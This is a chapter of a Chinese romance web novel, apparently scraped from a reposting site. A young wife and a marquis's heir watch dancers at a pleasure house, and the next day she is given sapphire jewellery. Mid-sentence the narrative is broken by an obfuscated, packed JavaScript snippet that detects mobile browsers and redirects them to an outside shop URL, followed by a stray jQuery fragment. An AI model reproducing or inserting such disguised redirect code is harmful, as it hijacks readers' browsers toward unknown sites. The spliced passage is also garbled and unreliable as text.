文趣网 > 其他小说 > 纯情纨绔火辣辣 > 19. 和好
    恰在此刻,楼下丝竹乐曲陡然一转,曲风由柔婉转为热烈,鼓点伴着异域羌笛升起,满堂灯火微微摇曳。

    正中舞台轻纱撤去,一众胡姬鱼贯入场,尽数着绯色鎏金短款舞裙,身姿曼妙火辣,手足间挂满银铃,旋身之际叮咚作响。

    方才入楼之时,云疏月尚且觉着胡姬舞裙短俏、露肤,款式有些不堪入目。

    但此刻伴着激昂乐声,轻薄的鎏金纱裙和腰侧的银链错落飞扬,这利落的款式恰好衬得她们身段窈窕灵动。裙边的碎金宝石随舞步摇曳生辉,无半分轻浮艳俗,只剩异域舞乐的热烈洒脱。

    云疏月不由得被楼下的氛围牢牢吸引,不知什么时候扯落了披风,大半截身子探出雕花栏杆外,全然看得入了神。

    卫珩垂眸望着她,慢条斯理晃着杯中酒水,出声提醒:“薛岑这奸商抠门至极,这栏杆克扣物料、做工本就不结实,你再这般往外倚,待会儿摔下去,磕断了手脚,那样子可是会很难看的。”

    云疏月被他这番唬人的话吓着了,连忙收回前倾的身子,老实缩回座椅上坐好。

    卫珩唇角勾起一抹不着痕迹的浅笑,故意说道:“方才是谁在外头,将这风华楼视作龙潭虎穴,戒备得跟个小刺猬似的?这才多大功夫,一双眼睛都快黏在这些舞女身上。”

    他微微倾身,语气带了几分戏谑:“这么喜欢看?若是心痒,让她们来案前跳给你看。”

    云疏月一愣,神情局促:“这,这恐怕不好吧。”

    卫珩倚靠回去,神色散漫随意:“有何不妥?不过多加些赏银罢了,多让薛岑赚一笔,他高兴还来不及。”

    云疏月抿了抿唇,抬眸看着他,目光澄澈天真:“小侯爷,你平时就是这样玩的?”

    “咳咳...咳...”

    卫珩被酒呛到,仓促抬手拭去唇角酒渍,眼神飘忽,飞快改口:“罢了,今夜出来得仓促,小爷随身没带足现银,不必折腾,就让她们在楼下跳吧。”

    云疏月余光掠过他腰侧,那只小绢囊分明塞得鼓鼓囊囊的。

    她没拆穿他。

    目光再次落于楼下,台上跳舞的胡姬将乌发高高束起,睫长目深,带着异域独有的野性娇媚;台下往来端着酒水的侍女则是素雅歌女打扮,只是各个容姿出挑,或温婉或娇俏,各有各的看头。

    云疏月感叹:“难怪薛楼主不想和公主在一起,这般天天花团锦簇的,再美的姑娘,估计也入不了他的眼了。”

    卫珩道:“两个人若要有情,可不光仅是靠外表就能成的。这事讲究个天时地利人和,缺一不可。何况要做驸马,便要断了风华楼的营生,他舍不下。”

    他难得会说这样的话,云疏月偏着头看他:“小侯爷很懂男女之情吗?”

    卫珩面露尴尬,这种问题怎么好答?这女人真是的,什么话都敢直接问!

    再说下去,她怕真是要把自己当成那风流客了。

    他飞速转移话题:“若说薛岑对柔嘉公主全然无意,倒也不是,只是他有他的不得已。”

    云疏月果然立马起了兴趣,一只手已经重新伸向了果盘,“有什么不得已?展开说说。”

    卫珩于心底闷笑一声,却只神秘兮兮透了一句:“他的身世另有隐情,不方便说。”

    云疏月大失所望,把手缩了回来。

    好狡猾的男人,惯会吊人胃口!

    她不死心,追问:“那小侯爷和薛楼主是怎么认识的?”

    卫珩这回倒是没隐瞒,“好多年前的事了,那时候他被仇家追杀,受了重伤。小爷见他可怜兮兮的,便把他捡回府中躲了一段时间。”

    回想起那段往事,卫珩眼中漫出细碎笑意,“这小子真是天生做生意的料,他伤好后问我借了二百两银子,这点钱我原打算是肉包子打狗的,不曾想过了半年,这厮竟把一间连年亏损、濒临倒闭的酒楼盘活了。又过了两年,这风华楼便拔地而起,一跃成为上京城中头一号的风雅舞坊。”

    云疏月听了很佩服,“要以一己之力在上京之中闯出这般家业,寻常人可做不到,这位薛楼主真是不简单。”

    卫珩没有附和,纵然薛岑是他的挚友,但他还是不怎么乐意从云疏月口中听到夸他的话。

    他将她掉落在软垫上的披风扯了过来,一把扔过去将她兜头罩住,“时辰不早了,回府。把你这破衣服穿好,外头风大,吹病了还要爷花钱给你治,麻烦。”

    云疏月将披风从头上拉了下来,头发都被弄乱了,她低声嘟囔:“这披风哪里破?真是难伺候,阴晴不定的...”

    卫珩本来已经走到门槛处,回身见她不动,不耐的挑眉:“嘀嘀咕咕什么?再磨蹭,就自个儿走回去。”

    云疏月立马换了个笑脸:“来啦!”

    ...

    次日,云疏月取出上次卖花样子攒下的全部银钱,尽数交到晚翠手中,吩咐她去当铺把那套红宝石头面赎回来。

    可晚翠出去了一趟,不仅分文未动,反倒捧又回一个做工精致的锦盒。

    “姑娘,奴婢没能去赎首饰,”晚翠眉眼带笑,“常满把我拦下了,他说姑爷的意思是,既然您不喜欢那红宝石,留着也是添堵,不如卖了。”

    她抬手掀开盒盖,将锦盒递到云疏月面前,“这是常满一并送来的,问问您,这套可看得上眼?若是依旧不合眼缘,他便备好马车,让您去亲自珍宝阁挑一套心仪的。”

    云疏月望去,一整套蓝宝石头面静静陈列在柔软的雪白绒垫,簪钗、耳坠、抹额与步摇样式简约又雅致,雕纹纤细精巧,其上镶嵌的水色宝石清浅如碧空寒潭。

    “收着吧,就这套。”云疏月温声道。

    晚翠并没有将锦盒盖上,眉眼亮晶晶的劝:“奴婢给姑娘试试吧?就这么压箱底了太可惜。”

    见云疏月并没拒绝的意思,晚翠便笑着上前,轻轻将她推到梳妆台前落座,替她装扮起来。

    晚翠一边替她戴耳环,一边说道:“姑娘最近好像圆润了一点呢,脸都长肉了。”

    云疏月捏了捏自己的脸:“有吗?”

    她望着菱花铜镜中的自己,从前那个两颊微微凹陷、面色泛着蜡黄的女子已然消失不见,取而代之的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623633|205393||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是骨肉匀净圆润、肌肤莹白、眉眼舒展的另一个人。

    钱终归是养人的。嫁入侯府后,日子逐渐安稳,不必忧心吃食银钱,又有四五个丫鬟贴身照顾,不知不觉间,她养回了原本姣好的容貌。

    晚翠将整套宝石头面逐一簪进发间,素雅的步摇垂落鬓边,澄澈冷调蓝宝石衬得她皮肤白净无暇。

    晚翠不由得退后两步,由衷感叹:“姑娘,这套头面肯定是姑爷花了心思挑的,太适合您了!”

    云疏月摸了摸鬓边微动的步摇,垂眸莞尔。

    晚翠笑着打趣:“姑娘,常满说昨儿姑爷带您去了上京里最好的舞坊,您二位...这回算和好了吧?”

    云疏月耳尖微热,表情有几分别扭:“什么和好不和好,本来也未曾吵架,你别乱说了。”

    晚翠抿唇偷笑,越看镜中妆造,越觉得欢喜,戴了头面还不满足,兀自转身去开箱笼,想寻一身配色相宜的衣裙给她做搭配。

    云疏月看着她忙活的身影,无奈轻叹:“别折腾了,又没人看...”

    话音才落地,庭院风声轻响,房门被人大步掀开。

    卫珩一身常服风尘未褪,脚步仓促跨入屋内,原本蹙着眉欲开口说话,目光落在梳妆台前的云疏月身上,身形骤然顿住。

    他定定望着她鬓间清蓝宝饰、温润柔和的面容,整个人当场怔住,连呼吸都放缓了。

    屋内安静至极。

    云疏月原本端坐在座位上,但他跨入房间那一刻已下意识站了起来,脸颊泛起薄红。见他久久无话,只得垂着眼眸,硬着头皮打破沉默:“你,你不是上值去了吗?”

    卫珩猛地回过神,飞快撇开视线,压下心底异动,语气故作平淡:“今日休沐。”

    云疏月敛去局促,率先压下那份尴尬,“小侯爷这般匆匆忙忙的,是有何事找我?”

    现下并非用饭的时辰,往日遇上休沐,卫珩一般也是在府外游荡玩耍,甚少会来她这里。

    听她这么一问,卫珩才想起了正事,启口道:“明溪前日从御花园归来便染了病,浑身起了大片红疹。”

    云疏月讶了一瞬:“是花粉过敏吗?从前大小姐是否犯过这病?”

    卫珩脸色有些沉:“就是没有犯过,家里人才着急。”

    云疏月又问:“大夫看过了吗?怎么说的?”

    “只是寻常过敏,病症面积有些大。”

    云疏月宽慰着他:“那应该没什么事,吃点清淡的在家养几日吧。”

    可卫珩来这里,却不是为了听她安慰的。

    他的视线不由自主再度落回云疏月清丽的面庞,在她白净的皮肤上打量数息,随口扯话道:“你皮糙肉厚的,这点倒是挺好。”

    云疏月:“......”

    不等她回话,卫珩像是不愿多留,转身快步离开了。

    晚翠又是好气又是好笑:“姑爷也太过分了,哪有人用皮糙肉厚形容女子的!”

    云疏月无奈弯了弯唇角:“确实过分。”

    不过看在他专程赶来探视的份上,她不和他计较。